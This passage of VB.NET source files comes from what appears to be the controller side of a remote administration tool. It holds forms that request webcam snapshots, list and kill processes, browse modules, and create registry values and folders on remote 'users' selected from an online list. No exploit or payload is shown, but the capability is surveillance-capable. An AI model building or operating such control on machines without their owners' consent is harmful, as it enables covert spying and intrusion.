System.Windows.Forms.PictureBox 91 | Friend WithEvents TimerResponseTime As System.Windows.Forms.Timer 92 | End Class 93 | -------------------------------------------------------------------------------- /Client/Client/Client/Webcamviewer.vb: -------------------------------------------------------------------------------- 1 | Public Class Webcamviewer 2 | 3 | Public Function HexToWebcamSnapshot(ByVal HexString As String) As Image 4 | Try 5 | If HexString = Nothing Then 6 | MsgBox("Invalid data recieved. Retry.", MsgBoxStyle.Exclamation) 7 | Return Nothing 8 | End If 9 | Dim Bytes(HexString.Length \ 2 - 1) As Byte 10 | For I = 0 To Bytes.Length - 1 11 | Bytes(I) = Convert.ToByte(HexString.Substring(I * 2, 2), 16) 12 | Next 13 | Return Image.FromStream(New IO.MemoryStream(Bytes)) 14 | Catch ex As Exception 15 | MsgBox("Failed formatting data from stream. Please retry.", MsgBoxStyle.Exclamation) 16 | Return Nothing 17 | End Try 18 | End Function 19 | 20 | Public Sub SplitWebcamDevices(ByVal WebcamString As String) 21 | ComboBoxWebcamDevices.Items.Clear() 22 | Dim WebcamDevices() As String = Split(WebcamString, "|||") 23 | For i As Integer = 0 To WebcamDevices.Length - 1 24 | ComboBoxWebcamDevices.Items.Add(WebcamDevices(i)) 25 | Next 26 | ComboBoxWebcamDevices.Items.Remove(String.Empty) 27 | ComboBoxWebcamDevices.SelectedIndex = 0 28 | End Sub 29 | 30 | Private Sub ButtonSaveSnapshot_Click(sender As Object, e As EventArgs) Handles ButtonSaveSnapshot.Click 31 | If PictureBoxWebcam.Image Is Nothing Then 32 | MsgBox("Please take a webcam snapshot first.", MsgBoxStyle.Exclamation, "Webcamviewer") 33 | Exit Sub 34 | Else 35 | If SaveFileDialogWebcam.ShowDialog = Windows.Forms.DialogResult.OK Then 36 | PictureBoxWebcam.Image.Save(SaveFileDialogWebcam.FileName, System.Drawing.Imaging.ImageFormat.Jpeg) 37 | MsgBox("Screenshot saved with success.", MsgBoxStyle.Information, "Webcamviewer") 38 | End If 39 | End If 40 | End Sub 41 | 42 | Private Sub ButtonTakeSnapshot_Click(sender As Object, e As EventArgs) Handles ButtonTakeSnapshot.Click 43 | 44 | Settings.AddLog("Pending", Settings.State.Pending, "Taking webcam snapshot...") 45 | Main.ShowNoGroupsToolStripMenuItem.PerformClick() 46 | If ComboBoxWebcamDevices.Items.Count = 0 Then 47 | MsgBox("No webcam device selected.", MsgBoxStyle.Exclamation, "Webcamviewer") 48 | Exit Sub 49 | Else 50 | Dim SelectedDevice As Integer = ComboBoxWebcamDevices.SelectedIndex 51 | If Main.ListViewMain.Items.Count > 0 Then 52 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _ 53 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text 54 | Else 55 | MsgBox("No Users online.", MsgBoxStyle.Exclamation) 56 | End If 57 | Try 58 | Main.WriteData(CType(SelectedDevice, String)) 'here 59 | Main.WriteCommand(Main.SelectedUserID & "|34") 60 | Waiting.ShowDialog() 61 | Catch x As Exception 62 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Webcamviewer") 63 | End Try 64 | End If 65 | End Sub 66 | 67 | Public Sub ButtonLoadDevices_Click(sender As Object, e As EventArgs) Handles ButtonLoadDevices.Click 68 | Settings.AddLog("Pending", Settings.State.Pending, "Requesting webcam devices...") 69 | ComboBoxWebcamDevices.Items.Clear() 70 | If Main.ListViewMain.Items.Count > 0 Then 71 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _ 72 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text 73 | Else 74 | MsgBox("No Users online.", MsgBoxStyle.Exclamation) 75 | End If 76 | Try 77 | Main.WriteCommand(Main.SelectedUserID & "|33") 78 | Waiting.ShowDialog() 79 | Catch x As Exception 80 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Webcamviewer") 81 | End Try 82 | End Sub 83 | 84 | Private Sub ComboBoxWebcamDevices_SelectedIndexChanged(sender As Object, e As EventArgs) Handles ComboBoxWebcamDevices.SelectedIndexChanged 85 | 86 | End Sub 87 | 88 | Private Sub Webcamviewer_FormClosing(sender As Object, e As FormClosingEventArgs) Handles MyBase.FormClosing 89 | PictureBoxWebcam.Image = Nothing 90 | ComboBoxWebcamDevices.Items.Clear() 91 | End Sub 92 | End Class -------------------------------------------------------------------------------- /Client/Client/Client/ProcessmanagerModules.Designer.vb: -------------------------------------------------------------------------------- 1 | _ 2 | Partial Class ProcessmanagerModules 3 | Inherits System.Windows.Forms.Form 4 | 5 | 'Form overrides dispose to clean up the component list. 6 | _ 7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean) 8 | Try 9 | If disposing AndAlso components IsNot Nothing Then 10 | components.Dispose() 11 | End If 12 | Finally 13 | MyBase.Dispose(disposing) 14 | End Try 15 | End Sub 16 | 17 | 'Required by the Windows Form Designer 18 | Private components As System.ComponentModel.IContainer 19 | 20 | 'NOTE: The following procedure is required by the Windows Form Designer 21 | 'It can be modified using the Windows Form Designer. 22 | 'Do not modify it using the code editor. 23 | _ 24 | Private Sub InitializeComponent() 25 | Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(ProcessmanagerModules)) 26 | Me.ListBoxModules = New System.Windows.Forms.ListBox() 27 | Me.Label1 = New System.Windows.Forms.Label() 28 | Me.LabelModuleCount = New System.Windows.Forms.Label() 29 | Me.SuspendLayout() 30 | ' 31 | 'ListBoxModules 32 | ' 33 | Me.ListBoxModules.FormattingEnabled = True 34 | Me.ListBoxModules.Location = New System.Drawing.Point(12, 85) 35 | Me.ListBoxModules.Name = "ListBoxModules" 36 | Me.ListBoxModules.Size = New System.Drawing.Size(207, 134) 37 | Me.ListBoxModules.TabIndex = 0 38 | ' 39 | 'Label1 40 | ' 41 | Me.Label1.AutoSize = True 42 | Me.Label1.Font = New System.Drawing.Font("Verdana", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) 43 | Me.Label1.Location = New System.Drawing.Point(11, 9) 44 | Me.Label1.Name = "Label1" 45 | Me.Label1.Size = New System.Drawing.Size(216, 65) 46 | Me.Label1.TabIndex = 1 47 | Me.Label1.Text = "This is a list of the loaded modules" & Global.Microsoft.VisualBasic.ChrW(13) & Global.Microsoft.VisualBasic.ChrW(10) & "(DLL-Files) of the selected process." & Global.Microsoft.VisualBasic.ChrW(13) & Global.Microsoft.VisualBasic.ChrW(10) & "On so" & _ 48 | "me processes the server need" & Global.Microsoft.VisualBasic.ChrW(13) & Global.Microsoft.VisualBasic.ChrW(10) & "elevated privileges in order to get a " & Global.Microsoft.VisualBasic.ChrW(13) & Global.Microsoft.VisualBasic.ChrW(10) & "list of th" & _ 49 | "e loaded DLL's." 50 | ' 51 | 'LabelModuleCount 52 | ' 53 | Me.LabelModuleCount.AutoSize = True 54 | Me.LabelModuleCount.Font = New System.Drawing.Font("Verdana", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) 55 | Me.LabelModuleCount.ForeColor = System.Drawing.SystemColors.MenuHighlight 56 | Me.LabelModuleCount.Location = New System.Drawing.Point(12, 226) 57 | Me.LabelModuleCount.Name = "LabelModuleCount" 58 | Me.LabelModuleCount.Size = New System.Drawing.Size(115, 13) 59 | Me.LabelModuleCount.TabIndex = 2 60 | Me.LabelModuleCount.Text = "Loaded 0 modules." 61 | ' 62 | 'ProcessmanagerModules 63 | ' 64 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) 65 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font 66 | Me.ClientSize = New System.Drawing.Size(231, 248) 67 | Me.Controls.Add(Me.LabelModuleCount) 68 | Me.Controls.Add(Me.Label1) 69 | Me.Controls.Add(Me.ListBoxModules) 70 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle 71 | Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon) 72 | Me.MaximizeBox = False 73 | Me.MinimizeBox = False 74 | Me.Name = "ProcessmanagerModules" 75 | Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent 76 | Me.Text = "Modules (Loaded DLL's)" 77 | Me.TopMost = True 78 | Me.ResumeLayout(False) 79 | Me.PerformLayout() 80 | 81 | End Sub 82 | Friend WithEvents ListBoxModules As System.Windows.Forms.ListBox 83 | Friend WithEvents Label1 As System.Windows.Forms.Label 84 | Friend WithEvents LabelModuleCount As System.Windows.Forms.Label 85 | End Class 86 | -------------------------------------------------------------------------------- /Client/Client/Client/FilemanagerCreateFolder.Designer.vb: -------------------------------------------------------------------------------- 1 | _ 2 | Partial Class FilemanagerCreateFolder 3 | Inherits System.Windows.Forms.Form 4 | 5 | 'Form overrides dispose to clean up the component list. 6 | _ 7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean) 8 | Try 9 | If disposing AndAlso components IsNot Nothing Then 10 | components.Dispose() 11 | End If 12 | Finally 13 | MyBase.Dispose(disposing) 14 | End Try 15 | End Sub 16 | 17 | 'Required by the Windows Form Designer 18 | Private components As System.ComponentModel.IContainer 19 | 20 | 'NOTE: The following procedure is required by the Windows Form Designer 21 | 'It can be modified using the Windows Form Designer. 22 | 'Do not modify it using the code editor. 23 | _ 24 | Private Sub InitializeComponent() 25 | Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(FilemanagerCreateFolder)) 26 | Me.Label1 = New System.Windows.Forms.Label() 27 | Me.TextBox1 = New System.Windows.Forms.TextBox() 28 | Me.ButtonRename = New System.Windows.Forms.Button() 29 | Me.ButtonCancel = New System.Windows.Forms.Button() 30 | Me.SuspendLayout() 31 | ' 32 | 'Label1 33 | ' 34 | Me.Label1.AutoSize = True 35 | Me.Label1.Font = New System.Drawing.Font("Verdana", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) 36 | Me.Label1.Location = New System.Drawing.Point(21, 16) 37 | Me.Label1.Name = "Label1" 38 | Me.Label1.Size = New System.Drawing.Size(218, 26) 39 | Me.Label1.TabIndex = 0 40 | Me.Label1.Text = "Enter the name of the new directory " & Global.Microsoft.VisualBasic.ChrW(13) & Global.Microsoft.VisualBasic.ChrW(10) & "you like to create" 41 | ' 42 | 'TextBox1 43 | ' 44 | Me.TextBox1.Location = New System.Drawing.Point(24, 54) 45 | Me.TextBox1.Name = "TextBox1" 46 | Me.TextBox1.Size = New System.Drawing.Size(205, 20) 47 | Me.TextBox1.TabIndex = 1 48 | ' 49 | 'ButtonRename 50 | ' 51 | Me.ButtonRename.Image = CType(resources.GetObject("ButtonRename.Image"), System.Drawing.Image) 52 | Me.ButtonRename.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft 53 | Me.ButtonRename.Location = New System.Drawing.Point(24, 82) 54 | Me.ButtonRename.Name = "ButtonRename" 55 | Me.ButtonRename.Size = New System.Drawing.Size(92, 25) 56 | Me.ButtonRename.TabIndex = 2 57 | Me.ButtonRename.Text = "Create" 58 | Me.ButtonRename.UseVisualStyleBackColor = True 59 | ' 60 | 'ButtonCancel 61 | ' 62 | Me.ButtonCancel.Image = CType(resources.GetObject("ButtonCancel.Image"), System.Drawing.Image) 63 | Me.ButtonCancel.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft 64 | Me.ButtonCancel.Location = New System.Drawing.Point(141, 82) 65 | Me.ButtonCancel.Name = "ButtonCancel" 66 | Me.ButtonCancel.Size = New System.Drawing.Size(88, 25) 67 | Me.ButtonCancel.TabIndex = 3 68 | Me.ButtonCancel.Text = "Cancel" 69 | Me.ButtonCancel.UseVisualStyleBackColor = True 70 | ' 71 | 'FilemanagerCreateFolder 72 | ' 73 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) 74 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font 75 | Me.ClientSize = New System.Drawing.Size(258, 117) 76 | Me.ControlBox = False 77 | Me.Controls.Add(Me.ButtonCancel) 78 | Me.Controls.Add(Me.ButtonRename) 79 | Me.Controls.Add(Me.TextBox1) 80 | Me.Controls.Add(Me.Label1) 81 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle 82 | Me.Name = "FilemanagerCreateFolder" 83 | Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent 84 | Me.Text = "Create New Folder" 85 | Me.TopMost = True 86 | Me.ResumeLayout(False) 87 | Me.PerformLayout() 88 | 89 | End Sub 90 | Friend WithEvents Label1 As System.Windows.Forms.Label 91 | Friend WithEvents TextBox1 As System.Windows.Forms.TextBox 92 | Friend WithEvents ButtonRename As System.Windows.Forms.Button 93 | Friend WithEvents ButtonCancel As System.Windows.Forms.Button 94 | End Class 95 | -------------------------------------------------------------------------------- /Client/Client/Client/ProcessmanagerStartProcess.Designer.vb: -------------------------------------------------------------------------------- 1 | _ 2 | Partial Class ProcessmanagerStartProcess 3 | Inherits System.Windows.Forms.Form 4 | 5 | 'Form overrides dispose to clean up the component list. 6 | _ 7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean) 8 | Try 9 | If disposing AndAlso components IsNot Nothing Then 10 | components.Dispose() 11 | End If 12 | Finally 13 | MyBase.Dispose(disposing) 14 | End Try 15 | End Sub 16 | 17 | 'Required by the Windows Form Designer 18 | Private components As System.ComponentModel.IContainer 19 | 20 | 'NOTE: The following procedure is required by the Windows Form Designer 21 | 'It can be modified using the Windows Form Designer. 22 | 'Do not modify it using the code editor. 23 | _ 24 | Private Sub InitializeComponent() 25 | Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(ProcessmanagerStartProcess)) 26 | Me.ButtonStartProcess = New System.Windows.Forms.Button() 27 | Me.ButtonAbort = New System.Windows.Forms.Button() 28 | Me.TextBoxProcessname = New System.Windows.Forms.TextBox() 29 | Me.Label1 = New System.Windows.Forms.Label() 30 | Me.SuspendLayout() 31 | ' 32 | 'ButtonStartProcess 33 | ' 34 | Me.ButtonStartProcess.Image = CType(resources.GetObject("ButtonStartProcess.Image"), System.Drawing.Image) 35 | Me.ButtonStartProcess.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft 36 | Me.ButtonStartProcess.Location = New System.Drawing.Point(12, 82) 37 | Me.ButtonStartProcess.Name = "ButtonStartProcess" 38 | Me.ButtonStartProcess.Size = New System.Drawing.Size(75, 23) 39 | Me.ButtonStartProcess.TabIndex = 0 40 | Me.ButtonStartProcess.Text = "Start" 41 | Me.ButtonStartProcess.UseVisualStyleBackColor = True 42 | ' 43 | 'ButtonAbort 44 | ' 45 | Me.ButtonAbort.Image = CType(resources.GetObject("ButtonAbort.Image"), System.Drawing.Image) 46 | Me.ButtonAbort.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft 47 | Me.ButtonAbort.Location = New System.Drawing.Point(93, 82) 48 | Me.ButtonAbort.Name = "ButtonAbort" 49 | Me.ButtonAbort.Size = New System.Drawing.Size(88, 23) 50 | Me.ButtonAbort.TabIndex = 1 51 | Me.ButtonAbort.Text = "Cancel" 52 | Me.ButtonAbort.UseVisualStyleBackColor = True 53 | ' 54 | 'TextBoxProcessname 55 | ' 56 | Me.TextBoxProcessname.Location = New System.Drawing.Point(12, 56) 57 | Me.TextBoxProcessname.Name = "TextBoxProcessname" 58 | Me.TextBoxProcessname.Size = New System.Drawing.Size(240, 20) 59 | Me.TextBoxProcessname.TabIndex = 2 60 | ' 61 | 'Label1 62 | ' 63 | Me.Label1.AutoSize = True 64 | Me.Label1.Location = New System.Drawing.Point(16, 14) 65 | Me.Label1.Name = "Label1" 66 | Me.Label1.Size = New System.Drawing.Size(220, 26) 67 | Me.Label1.TabIndex = 3 68 | Me.Label1.Text = "Enter the name of the file you like to execute." & Global.Microsoft.VisualBasic.ChrW(13) & Global.Microsoft.VisualBasic.ChrW(10) & "(For example notepad.exe)" 69 | ' 70 | 'ProcessmanagerStartProcess 71 | ' 72 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) 73 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font 74 | Me.ClientSize = New System.Drawing.Size(264, 117) 75 | Me.ControlBox = False 76 | Me.Controls.Add(Me.Label1) 77 | Me.Controls.Add(Me.TextBoxProcessname) 78 | Me.Controls.Add(Me.ButtonAbort) 79 | Me.Controls.Add(Me.ButtonStartProcess) 80 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle 81 | Me.MaximizeBox = False 82 | Me.MinimizeBox = False 83 | Me.Name = "ProcessmanagerStartProcess" 84 | Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent 85 | Me.Text = "Start New Process" 86 | Me.TopMost = True 87 | Me.ResumeLayout(False) 88 | Me.PerformLayout() 89 | 90 | End Sub 91 | Friend WithEvents ButtonStartProcess As System.Windows.Forms.Button 92 | Friend WithEvents ButtonAbort As System.Windows.Forms.Button 93 | Friend WithEvents TextBoxProcessname As System.Windows.Forms.TextBox 94 | Friend WithEvents Label1 As System.Windows.Forms.Label 95 | End Class 96 | -------------------------------------------------------------------------------- /Client/Client/Client/RegistrymanagerCreateValue.Designer.vb: -------------------------------------------------------------------------------- 1 | _ 2 | Partial Class RegistrymanagerCreateValue 3 | Inherits System.Windows.Forms.Form 4 | 5 | 'Form overrides dispose to clean up the component list. 6 | _ 7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean) 8 | Try 9 | If disposing AndAlso components IsNot Nothing Then 10 | components.Dispose() 11 | End If 12 | Finally 13 | MyBase.Dispose(disposing) 14 | End Try 15 | End Sub 16 | 17 | 'Required by the Windows Form Designer 18 | Private components As System.ComponentModel.IContainer 19 | 20 | 'NOTE: The following procedure is required by the Windows Form Designer 21 | 'It can be modified using the Windows Form Designer. 22 | 'Do not modify it using the code editor. 23 | _ 24 | Private Sub InitializeComponent() 25 | Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(RegistrymanagerCreateValue)) 26 | Me.Label1 = New System.Windows.Forms.Label() 27 | Me.Label2 = New System.Windows.Forms.Label() 28 | Me.TextBoxRegistryName = New System.Windows.Forms.TextBox() 29 | Me.TextBoxRegistryData = New System.Windows.Forms.TextBox() 30 | Me.Button1 = New System.Windows.Forms.Button() 31 | Me.SuspendLayout() 32 | ' 33 | 'Label1 34 | ' 35 | Me.Label1.AutoSize = True 36 | Me.Label1.Location = New System.Drawing.Point(15, 25) 37 | Me.Label1.Name = "Label1" 38 | Me.Label1.Size = New System.Drawing.Size(103, 13) 39 | Me.Label1.TabIndex = 0 40 | Me.Label1.Text = "Registryvalue name:" 41 | ' 42 | 'Label2 43 | ' 44 | Me.Label2.AutoSize = True 45 | Me.Label2.Location = New System.Drawing.Point(15, 73) 46 | Me.Label2.Name = "Label2" 47 | Me.Label2.Size = New System.Drawing.Size(98, 13) 48 | Me.Label2.TabIndex = 1 49 | Me.Label2.Text = "Registryvalue data:" 50 | ' 51 | 'TextBoxRegistryName 52 | ' 53 | Me.TextBoxRegistryName.Location = New System.Drawing.Point(18, 41) 54 | Me.TextBoxRegistryName.Name = "TextBoxRegistryName" 55 | Me.TextBoxRegistryName.Size = New System.Drawing.Size(235, 20) 56 | Me.TextBoxRegistryName.TabIndex = 2 57 | ' 58 | 'TextBoxRegistryData 59 | ' 60 | Me.TextBoxRegistryData.Location = New System.Drawing.Point(18, 89) 61 | Me.TextBoxRegistryData.Name = "TextBoxRegistryData" 62 | Me.TextBoxRegistryData.Size = New System.Drawing.Size(235, 20) 63 | Me.TextBoxRegistryData.TabIndex = 3 64 | ' 65 | 'Button1 66 | ' 67 | Me.Button1.Image = CType(resources.GetObject("Button1.Image"), System.Drawing.Image) 68 | Me.Button1.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft 69 | Me.Button1.Location = New System.Drawing.Point(79, 120) 70 | Me.Button1.Name = "Button1" 71 | Me.Button1.Size = New System.Drawing.Size(121, 23) 72 | Me.Button1.TabIndex = 4 73 | Me.Button1.Text = "Create Value" 74 | Me.Button1.UseVisualStyleBackColor = True 75 | ' 76 | 'RegistrymanagerCreateValue 77 | ' 78 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) 79 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font 80 | Me.ClientSize = New System.Drawing.Size(269, 151) 81 | Me.Controls.Add(Me.Button1) 82 | Me.Controls.Add(Me.TextBoxRegistryData) 83 | Me.Controls.Add(Me.TextBoxRegistryName) 84 | Me.Controls.Add(Me.Label2) 85 | Me.Controls.Add(Me.Label1) 86 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle 87 | Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon) 88 | Me.MaximizeBox = False 89 | Me.MinimizeBox = False 90 | Me.Name = "RegistrymanagerCreateValue" 91 | Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent 92 | Me.Text = "Create Registry Value" 93 | Me.TopMost = True 94 | Me.ResumeLayout(False) 95 | Me.PerformLayout() 96 | 97 | End Sub 98 | Friend WithEvents Label1 As System.Windows.Forms.Label 99 | Friend WithEvents Label2 As System.Windows.Forms.Label 100 | Friend WithEvents TextBoxRegistryName As System.Windows.Forms.TextBox 101 | Friend WithEvents TextBoxRegistryData As System.Windows.Forms.TextBox 102 | Friend WithEvents Button1 As System.Windows.Forms.Button 103 | End Class 104 | -------------------------------------------------------------------------------- /Client/Client/Client/Processmanager.vb: -------------------------------------------------------------------------------- 1 | Public Class Processmanager 2 | 3 | Private Sub ButtonRefreshProcesses_Click(sender As Object, e As EventArgs) Handles ButtonRefreshProcesses.Click 4 | Settings.AddLog("Pending", Settings.State.Pending, "Requesting processlist...") 5 | ListViewProcesses.Items.Clear() 6 | If Main.ListViewMain.Items.Count > 0 Then 7 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _ 8 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text 9 | Else 10 | MsgBox("No Users online.", MsgBoxStyle.Exclamation) 11 | End If 12 | Try 13 | Main.WriteCommand(Main.SelectedUserID & "|5") 14 | Waiting.ShowDialog() 15 | Catch x As Exception 16 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Processmanager") 17 | End Try 18 | End Sub 19 | 20 | Public Sub SplitData(ByVal Data As String) 21 | If Data = Nothing Then 22 | MsgBox("Formatting Failed. Please Retry.", MsgBoxStyle.Exclamation) 23 | Exit Sub 24 | End If 25 | Dim lines() = Data.Split({";;;"}, StringSplitOptions.None) 26 | For Each line In lines 27 | Dim parts() = line.Split({"|||"}, StringSplitOptions.None) 28 | Dim item = ListViewProcesses.Items.Add(parts(0), 0) 29 | For i = 1 To Math.Min(parts.Length - 1, 2) 30 | Dim PIDcheck As String = parts(i) 31 | item.SubItems.Add(parts(i)) 32 | If item.SubItems(i).Text.EndsWith("*") Then 33 | item.ImageIndex = 1 34 | item.ForeColor = Color.Red 35 | item.SubItems(1).Text = item.SubItems(1).Text.Replace("*", String.Empty) 36 | Else 37 | item.ImageIndex = 0 38 | item.SubItems.Add(parts(i)) 39 | End If 40 | 41 | 42 | Next 43 | Next 44 | 45 | For Each item As ListViewItem In ListViewProcesses.Items 46 | If (String.IsNullOrWhiteSpace(item.Text) Or String.IsNullOrEmpty(item.Text)) Then 47 | item.Remove() 48 | End If 49 | Next 50 | End Sub 51 | 52 | Private Sub Processmanager_FormClosed(sender As Object, e As FormClosedEventArgs) Handles MyBase.FormClosed 53 | ListViewProcesses.Items.Clear() 54 | End Sub 55 | 56 | Private Sub StartProcessToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles StartProcessToolStripMenuItem.Click 57 | ProcessmanagerStartProcess.ShowDialog() 58 | End Sub 59 | 60 | Private Sub TerminateProcessToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles TerminateProcessToolStripMenuItem.Click 61 | Settings.AddLog("Pending", Settings.State.Pending, "Terminating process...") 62 | If Main.ListViewMain.Items.Count > 0 Then 63 | If Me.ListViewProcesses.SelectedItems.Count > 0 Then 64 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text 65 | Try 66 | Main.WriteData(ListViewProcesses.SelectedItems(0).SubItems(1).Text) 67 | Main.WriteCommand(Main.SelectedUserID & "|7") 68 | Waiting.ShowDialog() 69 | Catch x As Exception 70 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Processmanager") 71 | End Try 72 | End If 73 | Else 74 | MsgBox("Select a process to terminate.", MsgBoxStyle.Exclamation) 75 | End If 76 | End Sub 77 | 78 | Private Sub GetModulesToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles GetModulesToolStripMenuItem.Click 79 | If Main.ListViewMain.Items.Count > 0 Then 80 | If Me.ListViewProcesses.SelectedItems.Count > 0 Then 81 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text 82 | Try 83 | Main.WriteData(ListViewProcesses.SelectedItems(0).SubItems(1).Text) 84 | Main.WriteCommand(Main.SelectedUserID & "|8") 85 | Waiting.ShowDialog() 86 | Catch x As Exception 87 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Processmanager") 88 | End Try 89 | End If 90 | Else 91 | MsgBox("Select a process to load the modules from.", MsgBoxStyle.Exclamation) 92 | End If 93 | End Sub 94 | 95 | Private Sub ListViewProcesses_SelectedIndexChanged(sender As Object, e As EventArgs) Handles ListViewProcesses.SelectedIndexChanged 96 | 97 | End Sub 98 | 99 | Private Sub Processmanager_Load(sender As Object, e As EventArgs) Handles MyBase.Load 100 | 101 | End Sub 102 | End Class -------------------------------------------------------------------------------- /Client/Client/Client/FilemanagerRenameFile.Designer.vb: -------------------------------------------------------------------------------- 1 | _ 2 | Partial Class FilemanagerRenameFile 3 | Inherits System.Windows.Forms.Form 4 | 5 | 'Form overrides dispose to clean up the component list. 6 | _ 7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean) 8 | Try 9 | If disposing AndAlso components IsNot Nothing Then 10 | components.Dispose() 11 | End If 12 | Finally 13 | MyBase.Dispose(disposing) 14 | End Try 15 | End Sub 16 | 17 | 'Required by the Windows Form Designer 18 | Private components As System.ComponentModel.IContainer 19 | 20 | 'NOTE: The following procedure is required by the Windows Form Designer 21 | 'It can be modified using the Windows Form Designer. 22 | 'Do not modify it using the code editor. 23 | _ 24 | Private Sub InitializeComponent() 25 | Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(FilemanagerRenameFile)) 26 | Me.Label1 = New System.Windows.Forms.Label() 27 | Me.ButtonRenameFile = New System.Windows.Forms.Button() 28 | Me.ButtonCancel = New System.Windows.Forms.Button() 29 | Me.TextBoxRenameFile = New System.Windows.Forms.TextBox() 30 | Me.SuspendLayout() 31 | ' 32 | 'Label1 33 | ' 34 | Me.Label1.AutoSize = True 35 | Me.Label1.Font = New System.Drawing.Font("Verdana", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) 36 | Me.Label1.Location = New System.Drawing.Point(12, 9) 37 | Me.Label1.Name = "Label1" 38 | Me.Label1.Size = New System.Drawing.Size(259, 39) 39 | Me.Label1.TabIndex = 0 40 | Me.Label1.Text = "Please enter the new name for the file you " & Global.Microsoft.VisualBasic.ChrW(13) & Global.Microsoft.VisualBasic.ChrW(10) & "like to rename and make sure you ad" & _ 41 | "d the" & Global.Microsoft.VisualBasic.ChrW(13) & Global.Microsoft.VisualBasic.ChrW(10) & "file extension: " 42 | ' 43 | 'ButtonRenameFile 44 | ' 45 | Me.ButtonRenameFile.Image = CType(resources.GetObject("ButtonRenameFile.Image"), System.Drawing.Image) 46 | Me.ButtonRenameFile.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft 47 | Me.ButtonRenameFile.Location = New System.Drawing.Point(15, 84) 48 | Me.ButtonRenameFile.Name = "ButtonRenameFile" 49 | Me.ButtonRenameFile.Size = New System.Drawing.Size(93, 24) 50 | Me.ButtonRenameFile.TabIndex = 1 51 | Me.ButtonRenameFile.Text = "Rename" 52 | Me.ButtonRenameFile.UseVisualStyleBackColor = True 53 | ' 54 | 'ButtonCancel 55 | ' 56 | Me.ButtonCancel.Image = CType(resources.GetObject("ButtonCancel.Image"), System.Drawing.Image) 57 | Me.ButtonCancel.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft 58 | Me.ButtonCancel.Location = New System.Drawing.Point(136, 84) 59 | Me.ButtonCancel.Name = "ButtonCancel" 60 | Me.ButtonCancel.Size = New System.Drawing.Size(93, 24) 61 | Me.ButtonCancel.TabIndex = 2 62 | Me.ButtonCancel.Text = "Cancel" 63 | Me.ButtonCancel.UseVisualStyleBackColor = True 64 | ' 65 | 'TextBoxRenameFile 66 | ' 67 | Me.TextBoxRenameFile.Location = New System.Drawing.Point(15, 56) 68 | Me.TextBoxRenameFile.Name = "TextBoxRenameFile" 69 | Me.TextBoxRenameFile.Size = New System.Drawing.Size(253, 20) 70 | Me.TextBoxRenameFile.TabIndex = 3 71 | ' 72 | 'FilemanagerRenameFile 73 | ' 74 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) 75 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font 76 | Me.ClientSize = New System.Drawing.Size(280, 120) 77 | Me.ControlBox = False 78 | Me.Controls.Add(Me.TextBoxRenameFile) 79 | Me.Controls.Add(Me.ButtonCancel) 80 | Me.Controls.Add(Me.ButtonRenameFile) 81 | Me.Controls.Add(Me.Label1) 82 | Me.Cursor = System.Windows.Forms.Cursors.Default 83 | Me.FormBorderStyle = 